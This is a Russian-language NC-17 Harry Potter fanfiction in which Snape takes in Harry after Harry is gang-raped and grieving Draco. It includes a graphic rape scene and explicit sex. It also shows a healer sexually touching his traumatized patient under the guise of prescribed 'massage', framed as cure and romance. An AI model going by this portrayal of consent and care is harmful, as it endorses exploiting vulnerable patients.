Не уходи!

Автор: Meggy Brik
Бета: Kamoshi
Рейтинг: NC-17
Пейринг: ГП, СС
Жанр: флафф
Предупреждение: ООС
Дисклеймер: Ро в своем праве
Архивирование: по запросу

Осторожно коснуться лба. Пальцами пробежаться по скуле. Оставить мокрый след на ключице. Все это и многое другое ты любил делать по вечерам, если был в хорошем расположении духа. Ты выпивал четверть стакана виски с содовой, тяжело падал на диван и заставлял подойти к тебе лишь одним взглядом. Резким, пьянящим, обжигающе холодным взглядом.

- Ты, - шепотом, - ты мой раб.

- Вот еще, - задыхаясь от блаженства.

- Не-е-ет, ты мой…

Легкое касание щекой щеки, а потом укус - резкий и болезненный. Он все еще помнит все обиды и оскорбления, которыми вы перебрасывались в свое время. И иногда вот так мелко мстит.

- Кусака, – счастливая улыбка и глаза горят.

- М-м-м, - еще укус, - я люблю оставлять на тебе отметины.

А потом очень быстрый секс. Секс на скорую руку. От длительного воздержания и от постоянной близости. Жить в одной квартире и не прикасаться к желанному телу - это мучительно. Мучительно больно и мучительно сладко.

Каждый день - как во сне. Все однообразно, и следующий день в точности похож на предыдущий. Кроме воскресенья. В воскресенье можно выпить. Можно заняться сексом, потому что делать это в будни нет сил.

А потом снова серые дни и однообразие послерабочих вечеров, когда голова уже не соображает, руки не двигаются, а ноги будто скручены из ваты.

…И снова воскресный виски, капельки пота на висках, дрожащее любимое тело в руках и головокружительность ощущений.

Все это было так давно. Все это было так горько и так сладко. Будто конфеты из черного шоколада с коньяком. Во рту горечь, а на губах сладость, которая проходит, стоит лишь провести по ним языком.

- Поттер, ты работать сегодня вообще собираешься? - Резкий толчок в плечо приводит в чувство, и заскорузлые, постаревшие и покрывшиеся коркой крови воспоминания отступают.

- Да, Джинн, я уже иду.

Молодой, симпатичный, стройный… как еще тебя описывали репортеры? В последнее время ты все чаще скрюченный, унылый и небритый Гарри Поттер. Огрызающийся, крепко попивающий и непристойно выражающийся помощник - читай грузчик - в магазинчике приколов Уизли. А что? Куда еще тебя такого можно взять?

- Что на этот раз? – идущая впереди девушка останавливается как вкопанная.

- Сливочное пиво.

- Сколько?

Тихое рычание – на сколько денег хватило, столько и выпил!

- Значит, две! – И без дальнейших разъяснений Джиневра Уизли, мать-одиночка – о боже, она так этим гордится! - отправляется дальше по коридору, нетерпеливо помахивая рукой.

Поправив гремящий ящик в руках, ты медленно, словно обожравшийся соплохвост, бредешь за ней. И аккуратно, под чутким надзором множества глаз – чертовы надсмотрщики! – ставишь ящик с только что пришедшим грузом на стол.

- Что это?

- О-о-о, Гарри, - Фред плотоядно потирает руки, - это то, чего мы все так долго ждали.

- Виски, что ли?

- Поттер! – Никак иначе вот уже год она тебя не называет. Считает недостойным обращаться к гнусному педику и алкоголику по имени. – Для тебя это может и долгожданно, ты у нас уже давно разложился на три составляющих: спирт, наркотики и…

- …и на классный секс, которого у тебя, дорогая, не было уже восемь лет.

- Уберите его, пока я не применила аваду! – Видно, как в карманах она сжимает кулачки. Такая правда еще никого не радовала.

- Гарри, пойди пока прогуляйся, - Джордж успокаивающе гладит Джинни по спине.

- Там все равно не виски, - пыхтит Фред, открывая ящик.

Да что бы вы понимали в виски! Последний раз глянув на своих работодателей, молча выходишь из подсобки и, накинув потертую кожаную куртку, плетешься в ближайший парк.

Ближайший. Ха! Три часа пешочком – «Аппарировать в нетрезвом виде вредно, милый», говаривал Малфой после глотка спиртного тридцатилетней выдержки. А потом, словно осенний зябкий ветерок, щекотал твою ладонь холодными пальчиками и добавлял: «Боюсь, ты можешь остаться без какого-нибудь своего члена - нужного, жизненно важного члена тела». И лукаво улыбался.

Ушел, как же это невыносимо, что он ушел. Ушел не прощаясь. Забрал все свои вещи и исчез. В один миг. Взял и оставил тебя с твоими чувствами, с твоей любовью. Он всегда тебе говорил: сломаешься, Поттер. Без меня ты сломаешься, словно тряпичная кукла без ниточек. Упадешь кулем на бренную землю и не поднимешься. Это тебе не проклятья в темных магов кидать. Так что не влюбляйся, дорогуша! - и снова холодные пальчики по телу и бег мурашек по спине.

Он всегда был холодный, словно лягушка, где бы ни находился, как бы жарко вокруг не было. Его пальцы, гладкие как из шелка, всегда были ледяными, а щеки – как два брусочка льда. Замерзший мед. Сладкие и холодные.

- Ушел... - Прохладный ветерок теребит твою стриженую челку и гоняет листья под ногами. А ты идешь, опустив голову, и мечтаешь так же разогнать воспоминания о нем. Раз и навсегда. Думоотвод, конечно, штука хорошая, но его еще нужно куда-то спрятать - надежно, замков на десять. И руки все равно будут чесаться достать его, взглянуть, вспомнить. Как было хорошо, нежно…

- Пацаны, смотрите, какая целочка!

- А мне кажется, он уже сорванная ягодка, гляди, как задницей виляет.

Трое здоровых и лысых, по внешнему виду больше похожих на обезьян, нежели на людей, мужика в кожаных куртках, не стесняясь, тыкают в тебя пальцем.

- А вот мы сейчас и проверим!

Еще не отошедшим от пива и виски, выпитых недавно, мозгом ты понимаешь, что нужно бежать прочь, но тело по инерции делает следующие два шага - и на голову обрушивается удар огромного кулачищи подоспевшего здоровяка.

Рывком возвращаешься в сознание и ощущаешь боль во всем теле. Вокруг только кирпичные стены и баки с мусором. Как тебя сюда занесло…

- Раздевай его скорее, Билли!

Они стягивают с тебя штаны, и кажется, будто ткань прибита к твоим ногам гвоздями. Жесткие ногти царапают кожу. Еще не больно, но уже жутко. Сердце колотится в грудную клетку, а в ушах стоит гул. Эти парни, лысые и потные, не отпустят тебя просто так. Деньги им не нужны, это ясно. У тебя же на лбу написано «денег нет». Так что остается только одно - кричать погромче. Вдруг кто услышит. Спасать не придут, но хотя бы полицию вызовут.

Боль…удар… твоя голова стукается о кирпичную кладку, грубые руки притягивают обмякшее, будто обездвиженное заклинанием тело. Но ты уже не чувствуешь ничего, только острую боль в паху оттого, что тебя тянут за член - как кота за хвост. И жгучее, не похожее ни на что чувство: раскаленный гвоздь вонзают, ввинчивают в тело.

А с ним это было не так - и тебе в такой момент удается думать?.. Если вас насилуют, попробуйте вспомнить о чем-нибудь приятном…

Первый мужик оторвался наконец, но его место тут же занял другой.

Думать не получалось вообще. Все затмила боль.

Боль…удар…удар…боль…удар…удар…боль………

Пустой взгляд в окно и никаких иных признаков жизни. Кажется, будто даже не моргает. Но если проследить, заметишь, как пушистые ресницы, словно крылышки мотылька, очень редко, но молниеносно… вверх-вниз…

- Поттер, вы в больнице Св. Мунго, я ваш лечащий колдоврач. И у меня к вам вопрос… - И цепко посмотреть в глаза. - Вопрос: почему прошло трое суток, а вас до сих пор не ищут?

Сухие потрескавшиеся губы приоткрываются - Мерлин, неужели он сейчас заговорит?! Стискиваешь кулаки в карманах. Несколько дней без движения – и неясно: он хоть что-нибудь понимает? В твоей голове миллион предположений и сейчас ты узнаешь, какое из них - верное.

- Некому, - снова опускает веки, - просто некому искать, сэр.

Положить ладонь на сухой горячий лоб. Кажется, он все же бредит. Еще бы, пережить такое. Да на нем живого места не осталось.

- Поттер, вы не могли бы отвечать поконкретнее? Что значит - некому? Я навел справки. Все ваши друзья живы и за пределы страны не выезжали.

- Профессор, оставьте вы меня в покое.

- Как я уже сказал вам, вы здесь находитесь по серьезной причине: вы были жестоко и многократно изнасилованы. – Ранишь, ранишь побольнее, как бывало раньше. Как в старые добрые…Да! - Я взял на себя смелость заявить об этом в министерство. – Меж бровей у него пролегла складка. Это хорошо, это правильно. Он понимает, о чем ты говоришь. – Но поскольку инцидент произошел на территории…

- Вражеской! – И короткий смешок.

Надо было его давно разговорить, ну да что теперь...

- Поттер. Не в ваших интересах шутить. Вы торчите в больнице приличное время, на вашем теле пролежней должно быть больше, чем синяков, и я вообще сомневаюсь, что вы сможете ходить в ближайшее время.

- Не страшно.

- Не страшно? А еще - без должного лечения - вы не сможете вести активную сексуальную жизнь.

Взгляд тускнеет, ресницы медленно опускаются.

– Не важно. – И выдох как последний. И вдох - будто нежеланный.

- На моих руках еще ни один пациент не умер, - шипишь ему прямо в ухо, задевая носом щеку.

- Я буду первым приятным исключением. – И больше ни звука. Глаза остаются закрытыми, грудь почти не вздымается, но он же дышит, черт побери! Дышит!

- Северус?

- Нет, он не дал согласия на перевод.

- Но здесь он… - Пожилая колдомедичка зажимает рот рукой. Ну прямо как МакГоннагал в том, прошлом, мире, что ты старательно забывал и стирал из сознания.

- Поттер не желает переводиться на платное отделение, Ригла, я так подозреваю, что это обусловлено отсутствием средств. Думаю, через два дня его придется выписать.

- Но, Северус?! – ну в точности Минерва.

- Ригла! Что еще я могу сделать?

Вечером за чашкой терпкого кофе думаешь о том же. Что, что еще ты можешь сделать для мальчишки? Ты постоянно, все семь его школьных лет, что-то для него делал. И теперь, встретив его - сломанного, обнищавшего, опять решаешь ему помочь. Что это?

- Я ему ничем не обязан. Он мне противен! У меня нет лишних денег, в конце-то концов!

- Вы не обязаны…

- Заткнитесь, Поттер. - Двубортный серый пиджак перекручивается от резких движений. – Я вам уже сказал, что ни один из моих пациентов…

- Куда поставить чемодан?

И кто это придумал, что глаза у пацана зеленые? – Ты внимательно рассматриваешь его, прищурившись. - Они же серые, водянистые, с зелеными лучиками-разводами.

- Здесь оставьте.

- Что я должен…? – В одних носках прошлепал к камину и, плюхнувшись в кресло, уставился на огонь.

- Кое-что. – И делаешь то, чего уже много лет не делал: присаживаешься на подлокотник. - Рассказывать. Вспоминать. И проходить курс лечения.

- Почему здесь? И зачем?

- Потому что я так хочу, мистер Поттер, а вам, кажется, было все равно.

Три дня проходят почти в ничегонеделании. Готовку обеда и чтение книг ты делом не считаешь. Все это и многое другое у тебя получается на автопилоте. Еще живя с Драко, ты частенько читал книгу, варил картошку и разглядывал его босые ноги одновременно.

- О чем задумались, мистер Поттер?

Четвертый день застал тебя на кухне.

Мотаешь головой:

– Ни о чем.

- Рассказывайте.

Снейп читает все твои мысли. Ему для этого ничего не нужно, только проницательность и чуточку терпения.

- Я подумал о том, что было бы неплохо чем-нибудь заняться.

- Что ж, займитесь. – Он кладет на стол пергамент, исписанный кривоватым, крупным почерком. – Здесь распорядок дня на всю оставшуюся неделю. Сделанное отмечаете плюсиками.

- А несделанное?

- А за несделанное отчитываетесь мне ежевечерне в девять. И да, - он кладет руку тебе на плечо, - рассказываете мне детально, что произошло в тот день, когда вас привезли в больницу.

Тупо смотришь на лист, не разбирая слов, голова пуста. Из воспоминаний только боль, которая иногда, ночами, беспокоит тебя, возвращаясь снова и снова. Словно зудящая ранка. Укус комара. И больше ничего.

- Я не помню...

Но его уже нет. Ушел. Еще в школьные годы ты замечал, как тихо он может перемещаться. Быстро и порой совершенно бесшумно. Может быть, причиной тому повсеместно расстеленные здесь ковры с толстым ворсом, а может, его походка. Чуть пружинящий, широкий шаг.

- Изучите список! – раздается откуда-то сверху. Скорее всего, из спальни. Снейп любит после завтрака почитать у себя.

1. Пробежка утренняя. Начинаете с трех кругов вокруг дома. Каждый день добавляете по одному.

2. Анальный массаж. Делать после принятия теплого, но не горячего душа после пробежки. Для массажа вам потребуется:

- желание лечиться;

- мазь смягчающая и заживляющая (найдете на тумбочке возле кровати).

Легкими движениями большого пальца чуть надавливаете на вход. Затем круговыми движениями начинаете массировать анальное углубление. После массажа зачерпните немного мази и смажьте анальное отверстие. Пять минут спокойно полежите.

3. Завтрак.

4. Чистка котлов. В подвале, как вы уже наверняка заметили, расположена кладовая с котлами. Берите по три в день. Этого, думаю, вам будет достаточно. Все необходимое вы сможете найти на столе подле шкафчика с ингредиентами.

5. Обед.

6. Послеобеденный сон. Для облегчения задачи зелье сна будет у вас на тумбочке.

7. Анальный массаж.

8. Ужин.

Бегать на удивление легко и приятно. Теплый сентябрьский ветер дует в лицо, разгоняя капельки пота по щекам. Соленые.

У Драко нос был всегда соленый, как у собаки. Бывало, уткнется утром тебе в шею и дышит. А звук такой, будто волны на берег набегают и откатывают… набегают и откатывают. Он так забавно дышал – сопел.

Главное не забывать дышать. Уперев руки в колени, стоишь перед коричневой дубовой дверью. Вот сейчас откроешь, войдешь, снимешь кеды и упадешь на ковер. Без сил.

Потому что вспоминать все это нет больше сил. Всю эту боль.

Хочется только закопаться, зарыться во что-нибудь - и не жить…

- Мистер Поттер, что непонятного вы нашли в списке под пунктами два и семь?

Глазищами так и зыркает, чтоб ему!

- Сэр?

- Плюсики стоят напротив каждого пункта, кроме этих двух.

Опускаешь глаза и молчишь.

- Рассказывайте!

Мерлин, о чем?!

– Я не помню, сэр. – Отвернуться к окну и не глядеть.

Молчит, сидит в своем кресле и не отрываясь смотрит на огонь. Как ему только не жарко. Сентябрь на дворе, солнышко …

- Солнце. В тот день было солнечно и безумно жарко. Июнь. Пух забивал рот, я даже вдохнуть нормально не мог. – Во рту пересохло, говорить не хотелось, вспоминать тоже, но что-то толкало. Чувство такое, будто веритасерума наглотался. – Сижу, на заходящее солнце смотрю. После работы устал очень, а тут он. В футболке, вспотевший. Мы вместе работали. В руках кипа бумаг, все торчком, видно, тяжело. Волосы такие...

- Платиновые?

Резко мотнуть головой, так что мир стал красным и расплывчатым… или это от слез?

- Нет, блестящие, солнце отражали… и так смешно в хвост затянуты. Небрежно, на висках волоски торчат. У меня тогда помню сердце, так застучало быстро, быстро…

- Понравился?

Брошенные Снейпом реплики только еще сильнее распаляли, вытаскивали воспоминания, да все только не те, не те, что тот хотел.

- Я его и не узнал сначала. А потом все как-то быстро завертелось. Как-то незаметно его вещи оказались в моей квартире, а потом и он сам. Мы жили как будто во сне. Работали как проклятые. Я ради денег, он... Кажется, пытался доказать всем, что он и сам по себе чего-то стоит. А потом…

- Потом он ушел.

- Откуда…? – И давишься слюной.

- Он был болен.

- Черт побери, Северус, посмотрите на меня! Что вы говори… – Глотай! – …говорите?!

- Мне недавно пришло письмо, без обратного адресата и не подписанное. Он же сквибом был.

- Я… я тоже!

- На него ни зелья, ни заклинания не действовали, ему недолго оставалось, вот он, как вы выразились, и доказывал. А ушел - ушел потому, что не хотел умирать рядом с тобой, - произвольно Снейп перенял твою манеру выражаться. – Он не любил, когда кто-то видел его слабости.

- Там это было написано?! Про меня?!

- Я всего лишь сделал выводы.

Вскрикнул, словно чайка подбитая, и медленно оседает на пол. Его тело сотрясает дрожь, и ты медленно опускаешься перед ним на колени, пытаясь восстановить зрительный контакт. Глупый мальчишка загнал себя в угол воспоминаниями – говорил же я ему, чтоб он сразу же все рассказал, а он тянул! Грубо встряхиваешь его за плечи, но - бесполезно. Глаза смотрят сквозь тебя, губы дрожат, сердце стучит так, что заглушает настенные часы.

- Поттер. Поттер, ты меня слышишь?

Две звонкие пощечины лишь вышибают из него слезы - вместо осмысленного взгляда.

И тут тебя осеняет – ну конечно! Как там говорят магглы? Клин клином вышибают. Испробуем.

Должно быть, за секунду до того, как ты касаешься его губ поцелуем, в твоих глазах что-то кардинально меняется, потому что он успевает охнуть.

Он пытается вырваться, мычит что-то сквозь ваши сомкнутые губы, пытается укусить. Прекрасно! Пациент скорее жив, чем мертв…

И это так прекрасно… Он хоть знает, как может свести меня с ума?..

Ты сжимаешь его в объятиях и слышишь его тихий стон, когда твои руки гладят его по пояснице, задевая ягодицы. Массаж, Поттер, массаж!

Его одежда трещит, срываемая тобой в порыве… страсти? Желания поставить мальчишку на место, заставить жить? Какая к черту разница! Лишь бы на этом лице больше не застывало безразличие. Пусть все, все вспомнит, пусть выплачется. Это нужно пережить, смириться с этим. Его любимого больше нет, но жизнь продолжается.

Нашариваешь на столе нужную мазь, которую прописал ему в качестве лекарства, и без церемоний разворачиваешь Поттера и заставляешь лечь животом на табуретку. Он цепляется за нее. Сдергиваешь с него штаны и без церемоний вводишь два пальца, зачерпнув целебного бальзама. На мгновение он замирает, вздрагивая от холодной мази и твоих пальцев внутри… И ты подавляешь вздох, когда он сам подается навстречу, насаживаясь на пальцы.

Мазь действует быстро, ослабляя чувствительность поврежденных тканей, регенерируя их, и у Поттера начинают дрожать ноги. Так бывает, когда на свежую ранку кладут пропитанную бальзамом марлю, и мышцы сводит болезненной судорогой облегчения.

Ты массируешь его, задевая простату, и он шипит, стараясь не застонать. Его глаза зажмурены, рот приоткрыт, ногти царапают несчастную табуретку… Мерлин, а его ноги… Он напрягся, выпрямив и широко расставив их, он же наслаждается твоими ласками и силится не поддаться им. Ты видишь его на глазах поднимающийся член. Он набухает от прилившей крови, яички подтягиваются и, даже не прикасаясь к ним, ты знаешь, какими они стали твердыми и как подрагивают.

Да, Поттер, думаешь ты, я вообще знаю много способов заставить тебя скулить, умолять и не давать тебе кончить до тех пор, пока мне этого не захочется. А коль скоро мы делаем массаж… И вот он наконец стонет, глухо, закусив губу и обернувшись к тебе… Мутный, совершенно шальной взгляд навлекает на тебя волну удовольствия, и свободной рукой ты расстегиваешь ширинку, чтобы снять собственное напряжение.

Его губы что-то шепчут, но ты не понимаешь ни слова. Кровь стучит в висках, а все что вы делаете… как-то глупо говорить что-либо в такой ситуации.

Его отверстие открылось, а из него тонкой струйкой вытекает мазь, превратясь из лекарства в смазку. Он уже без всякого стеснения толкается навстречу движениям твоих пальцев и облизывает пересохшие от частого дыхания губы. Он выгибает спину, вскрикивая, и по его телу пробегает такая долгожданная судорога.

И ты - ты тоже не железный и, шумно выдохнув, кончаешь между его ног.

- Массаж, Поттер. – Твой голос хрипит, а взгляд, должно быть, не более осмысленный, чем у него. - Что может быть непонятного?

Смотрит, словно щенок, и дрожит, все еще дрожит. Мальчишка…Худющее, боже, до чего худющее тело с размаху врезается в тебя, и ты оказываешься в крепких объятиях. Опять что-то шепчет.

- Да, и не молчи больше!

- Слушай! - Поднял глаза - водянистые, серые, с яркими зелеными лучиками. - Слушай меня, прошу!

Прошло три часа. Поттер затих и спит после изрядной доли зелья. Весь скрючился, одеялом обмотался и сопит. Тихонечко так, едва ощутимо. Ты все время пугаешься, что он не дышит, и подносишь ладонь к его носу.

- Дыши, мальчишка, дыши.

Так и хочется по вихрам погладить, по щеке пальцами пробежаться. Он такой опять недоступный и такой… желанный?

- Ах, Северус, Северус, - со стены качает головой портрет Дамблдора.

- Иди к чертям, старый козел. – Беззлобно, с нежностью глядя на мальчишку. – Да что со мной? Немезида тебя за пятку!

Вечером в камине появляется кудрявая каштановая голова. И спрашивает, и – черта с два! – лекции читать тебе пытается!

Все решается просто: Грейнджер не переносит, когда на нее орут, сразу рыдать начинает. И все ее экивоки и требования отпустить Поттера и не мучить оседают у тебя в голове и записываются на подкорку. Все, все ему расскажешь, объяснишь, что они, такие друзья, ему ни к чему, такие ни к чему.

А потом приходит осознание того, что Поттер это все понял уже и сам, и тебе до этого дела никакого. По идее.

По идее тебе хочется только одного. Его. Всего. Со всеми его тараканами, так похожими на твои и все же совершенно другими. Его, с глазами на мокром месте и сердцем любящим и пылким. Чтобы любил, чтобы нуждался в тебе. Как в Драко...

- Северус? – Тихо-сонное, мурашками по спине.

- Да?

- Я… - Прячет лицо в подушках. - Есть хочу.

- В душ!

Слышишь, как шлепает по ковру, потом - как льется вода. Все хорошо, все нормально, сейчас он помоется, вы поедите, ты сделаешь ему вечерний массаж - дрожь в руках – и поставишь плюсик напротив пункта семь. И вы, разойдясь по спальням, уснете.

- Если я буду в состоянии спать спокойно. - Ладонью по лицу. – Если ты теперь вообще когда-нибудь будешь спать.

Из ванной доносятся приглушенные всхлипы и шлепки по воде. Взвиваешься, словно пружина и летишь туда, сбивая кресло, стоящее на пути.

- Что ты? – Снова, в который раз за вечер, трясешь его за плечи.

- Не уходи!

Глаза в пол-лица и дрожит. Черт, да что же это с ним? И нерешительно тянешься за мылом и мочалкой. Поттер мертвой хваткой держит тебя за одежду. – Я не уйду, давай мыться?

- Угу.

Просыпаться в объятьях так приятно и так знакомо.

Ты все помнишь, ничто не ускользнуло из головы - случившееся вчера. Весь твой психоз как яркая картинка стоит перед глазами. И как плакал и как дрался, когда тебя мыли. И как потом бережно вытащили из ванной и стали вытирать мягким полотенцем. Ворсинки скользили мягко и мягко осушали кожу. И руки ласковые, умелые…

Рядом заворочались.

- Доброе утро, Поттер.

- Это было ужасно больно, будто огромный раскаленный кусок железа внутрь пихают. - По щекам опять катятся слезы, и сильные руки обнимают крепче. - Они все время толкали и били, я… – Зажмуриваешься. - Я пытался расслабиться, пытался думать о чем-то приятном…

- Сейчас тебе больно?

- Нет, сейчас нет. - Уткнуться носом в черные волосы, разметавшиеся по подушке. - Иногда, когда…

- Я понял, но это нормально. Это правильно…

И никаких проблем. Вы живете дальше, так же, как и до этого. Не считая процедур массажа - одна утренняя и одна вечерняя, Снейп выполняет их идеально, не пропуская ни одного сеанса.

Все хорошо, пока в один прекрасный момент ты не понимаешь, что начинаешь забывать. Забывать то, каким он был. Какой шампунь любил, как пах. Что ел и как смотрел на тебя когда хотел…

Это еще страшнее, чем помнить. Это больно - осознавать, что больше его не помнит никто, а скоро забудешь и ты.

Раны почти зажили, телесные давно, душевные недавно. Ты знаешь, что его больше не вернуть, но помнишь, как он любил тебя. И от этого становится тоскливо и тошно, он любил, а ты! Ты!

- Поттер, вставай! – Терзать себя самоедством мешает вошедший в комнату Снейп. – Мы идем на прогулку.

Вокруг только деревья - голые, с ветками, распростертыми в разные стороны, словно в мольбе вернуть тепло. Нет ни лавок, ни людей, тихо и заброшено. Но вот где-то вдалеке слышится детский смех, и ты понимаешь, что парк как парк, просто он очень большой, а вы зашли слишком далеко.

- Когда ты утром сказал, что мы идем освежить память, я представил себе не это, - неожиданно для самого себя подхватываешь Снейпа под локоть и крепко держишься за его руку. Давно уже не было тех срывов и истерик, неужели все снова? - Я думал мы пойдем на его могилу.

- Я не знаю где она, и к тому же он… не там. Он здесь. В этих деревьях и в этом солнце, в этом пронизывающем ветре. Он любил этот парк, когда был ребенком. Запомни, - внезапно Снейп останавливается, разворачивается к тебе лицом и достает из бездонных карманов своей мантии зелено-серебряный слизеринский шарф. – Запомни это, Гарри, и когда ты почувствуешь, что забываешь, приходи сюда.

Теплый шарф уютно обвивает твою шею. Слез нет, они ни к чему. Плачут о тех, кто не возвращается. А он и не уходил, он всегда с тобой. В твоем сердце. И ты улыбаешься и прячешь нос от холодного ветра в складках шарфа, как когда-то прятал в складках одеяла от него. Шутя.

- Спасибо! - Вечером возле камина так приятно читать лежа на животе.

Он молчит, потягивает свой неизменный, коньяк, закусывая шоколадом и долькой лимона, молчит и смотрит в огонь.

- Северус?

- Да?

- Я вчера, - подходишь и садишься на корточки подле него, - в общем вот…

И протягиваешь сломанные очки, перемотанные посередине изолентой.

- Всегда догадывался о твоей неуклюжести.

Улыбаешься робко, неумело. Давно не тренировался. Но глядя на это его непроницаемое лицо, невозможно удержаться.

- Завтра зайдем в магазин, у меня кончилась мята.

- Гарри! – Рывком тебя за рукав. – Давай-ка сначала купим необходимое, а уж потом ты будешь таращиться на все остальное.

Он впервые назвал по имени и прикоснулся к тебе на людях.

- Извини, просто там Метеор последней модели, а я давно…- опускаешь глаза. Зачем вообще ему про это говорить.

И тут…

- Ну зайди. - Тихое. Разрешительное.

Поднимаешь взгляд, а он улыбается. Искренне. Немного криво. Индивидуально.

- Нет, ну это переходит все границы! Ты же сказал, что очки подходят?!

Непонимающе смотришь в его темные карие глаза. Почти черные: злится.

- Высоко?

- Нет, осторожно! – Машет в сторону дерева, в которое ты чуть не врезался. – Все, Поттер, я устал. Аппарируем!

- Больше так не делай! – Полупросьба-полуприказ.

- Я постараюсь. – И снова улыбаешься. Научился.

- Поттер, кстати, о твоей проблеме.

Смотришь недоуменно из-за чашки с кофе. С чего бы это ему начинать серьезный разговор с утра пораньше?

- О какой из…? – Осмелел.

- Ты как-то обронил, что ты сквиб.

- Частично, после убийства я не мог даже стакан с водой призвать.

- Поттер, ты идиот! - закатывает глаза. Сейчас они у него просто коричневые, с двумя точечками у зрачка. Ты их заметил, потому что подолгу наблюдаешь за ним. – У тебя был сильнейший перерасход магической энергии. Сейчас ты уже, скорее всего, восстановился и можешь колдовать!

- Нет… я пробовал…

- А летал ты как?! – Вскочил и уставился на тебя в упор. - Да ты даже когда обед готовишь, у тебя предметы по кухне сами перемещаются, а ложка самостоятельно перемешивает. Это, по-твоему, что?

- Ну…непроизвольный выброс магических потоков.

- Поттер, на улицу, сейчас же!

На заднем дворе огромная площадка, заваленная снегом. Ее можно накрыть куполом непроницаемости и тренироваться. Учить это вихрастое чудо.

Слюнявые словечки уже используешь, замечательно. Достаешь палочку.

- Поттер, а где твоя палочка? Не говори, я помню. Сломалась во время последней битвы с Волдемортом. – Мальчишка едва заметно вздрогнул. – Ну неважно, тебе и моя подойдет.

- Но как же? Ведь палочка - это индивидуальный…

- …артефакт, подбирающийся по параметрам волшебника, это я все и без тебя, Поттер, знаю. - Хватаешь за свитер и подтягиваешь к себе. – Держи! - Палочка ложится в раскрытую ладонь, светлые глаза с удивлением смотрят на тебя. – Попробуй для начала люмос. – Молчит. Глазищами хлопает и молчит, болван!

- Я. Не. Хочу.

Теперь наступает твоя очередь смотреть на него с недоумением.

- Я не хочу, Северус. - Откидывает голову тебе на плечо и прикрывает глаза, и палочка не нужна. – Мне хорошо и так. Считай, что я сбежал от этого.

- Ты как всегда стараешься убежать от самого себя… - Упираешься подбородком в его макушку.

- Угу, - чуть разворачивается и прижимается еще сильнее.

Ты приподнимаешь его голову за подбородок и нежно, едва касаясь губами губ, целуешь.

- Это ведь не предательство, правда?

- Нет. Это жизнь…

А он такой чуткий, такой отзывчивый. С того «массажа» прошло уже почти три месяца. И ты так его хочешь, как никогда никого не хотел. Под одежду проникает промозглый ветерок

Заходит в комнату, понурив голову. Ну ясно: хочет спросить что-то либо очень личное, либо страшно глупое. Откладываешь книгу и в упор смотришь на его коленки.

- Что?

Теребит пальцами покрывало – значит, глупое.

- Понимаешь, через две недели Рождество…

- Ты хочешь поехать к друзьям? Пожалуйста, портключ у тебя есть.

Испугано смотрит на тебя. Господи, что ты такого сказал?

- Нет, нет же, - мотает головой, - я с тобой, с тобой хотел. – Возбужденно машет руками. – Индейка, елка, подарки… – И вдруг успокоившись, укладывается рядом с тобой. – Можно? Можно я останусь у тебя?

- Поттер! – Не слышит, елку выбирает. - Гарри!

- Ой, Северус! Смотри, вот эта пойдет?

- Заверните и отправьте по адресу, - протягиваешь продавцу визитку. – Пойдем.

Тащишь ошалевшего от твоей резкости мальчишку за собой.

- Тебе не понравилась? – с грустью в глазах, разглядывает свои кеды.

- Я замерз, хочу есть и чертовски сильно хочу в туалет. Елка меня на данный момент интересует в меньшей степени.

Улыбается, фыркает и – хохочет. Все можно забыть…есть только он и его лучезарные – лучистые глаза и смех…

- Се-ве-рус!

- Что на этот раз?! – вздыхая, опускаешь газету, вот уже два часа он терроризирует тебя вопросами.

- А наряжать-то нечем.

- Возьми с чердака красную коробку из-под бронзового котла. Там игрушки были, кажется.

Увлеченно перебирает стекляшки. Как будто заняться больше нечем. Лучше бы подошел и поцеловал, в конце концов! Но у него такая довольная физиономия, что прерывать не очень хочется. Пускай себе ковыряется. Ты улыбаешься своим мыслям и снова смотришь в огонь.

Очень скоро он попросит тебя выйти с ним на задний двор и… начнет швыряться снежками. Это не легилименция, это физиогномика. Поттерофизиогномика. У него это на лице написано, большими буквами с красной строки. «ЗАКИДАТЬ СНЕЙПА СНЕГОМ»

- Ну как?

- Индейка подгорела, - перелистываешь страницу сканмагвордов. Все сплошь банальное и легко отгадываемое. Неинтересно.

- Ой!

Это не индейка подгорела, это Поттер свечи на елке поджег. Своим непроизвольным выбросом магических потоков.

– Бестолочь! Агваменти!

- Спасибо. – Потупившись, скребет пяткой ковер.

- Вина?

- Лучше виски.

- Вина.

Мокрый, взъерошенный, чуточку пьяный, в красном свитере и белых брюках. Это не Санта Клаус, это Гарри Поттер. Роется под елкой.

- Наелся, снегом обкидался, вина напился, а теперь-то что?

- Подарок ищу.

- Рождество завтра, сегодня Сочельник, По-о-оттер. Не рановато ли?

Он замирает, с его лица пропадает улыбка. Ты понимаешь, что сказал что-то не то.

- Так подарка не будет? - Детское расстроенное лицо, губы подрагивают. Резко сокращаешь расстояние между вами и берешь его за плечи.

- Поттер, не смей кукситься. Слышишь? Подарок будет.

- Правда? - Он трется щекой о твою руку, доверчиво заглядывая в глаза.

- Правда. Но завтра.

- А если я хочу сейчас? - Он приподнимается на цыпочки и целует-покусывает тебя прямо в губы, крепко обнимая за талию.

- А если я не хочу ложиться под елку? - Подначивать его даже забавно…и к тому же так возбуждающе.

- Но ты мой лучший подарок, - шепчет он тебе на ухо, когда вы уже начинаете стаскивать друг с друга одежду. - Если бы не ты, меня бы уже просто не было.

- Помолчи, Поттер. – Ты сильно, жестко целуешь его, сминаешь в объятиях.

Мальчишка вырывается, в его глазах горит неизвестный тебе огонь - и ты готов сделать все, что он попросит.

- Н-на пол. Н-на с-спину. - Он говорит хрипло, сглатывая слюну и хватая ртом воздух. Его белоснежные праздничные штаны обзавелись красноречивой выпуклостью в паху. Ты подчиняешься, избавляешься от остатков одежды и растягиваешься на полу. Мальчишка обходит тебя, разглядывая со всех сторон, будто видит в первый раз и оценивает. Затем стягивает штаны, неторопясь, встав к тебе вполоборота, чтобы ты мог насладиться зрелищем. Как всегда позабытые носки стаскиваются в последнюю очередь, но тебе теперь уже ни до чего, лишь бы он сделал хоть что-нибудь...

- Поттер, - выдыхаешь сквозь зубы, когда он опускается между твоих ног на колени и начинает поглаживать внутреннюю сторону бедер. Ты пытаешься подставить его ласкам всего себя, но он пригвождает к полу, навалившись, и начинает неуклюже тереться своим членом о твой собственный. И когда ты слышишь у своего уха его стон, похожий на мурлыканье, ты забываешь обо всем на свете.

- Подарочек. Ты мой подарочек...

Он сползает вниз, и - ты даже удивиться не успеваешь - его маленький ротик наполовину заглатывает твой член и хулигански причмокивает. Вверх-вниз, всосать-облизнуть... языком по всей длине и дразнящие быстрые движения по самому кончику. У него такой взгляд, когда он, не отрываясь от своего занятия, смотрит на тебя, что сам сатана застонал бы от вожделения.

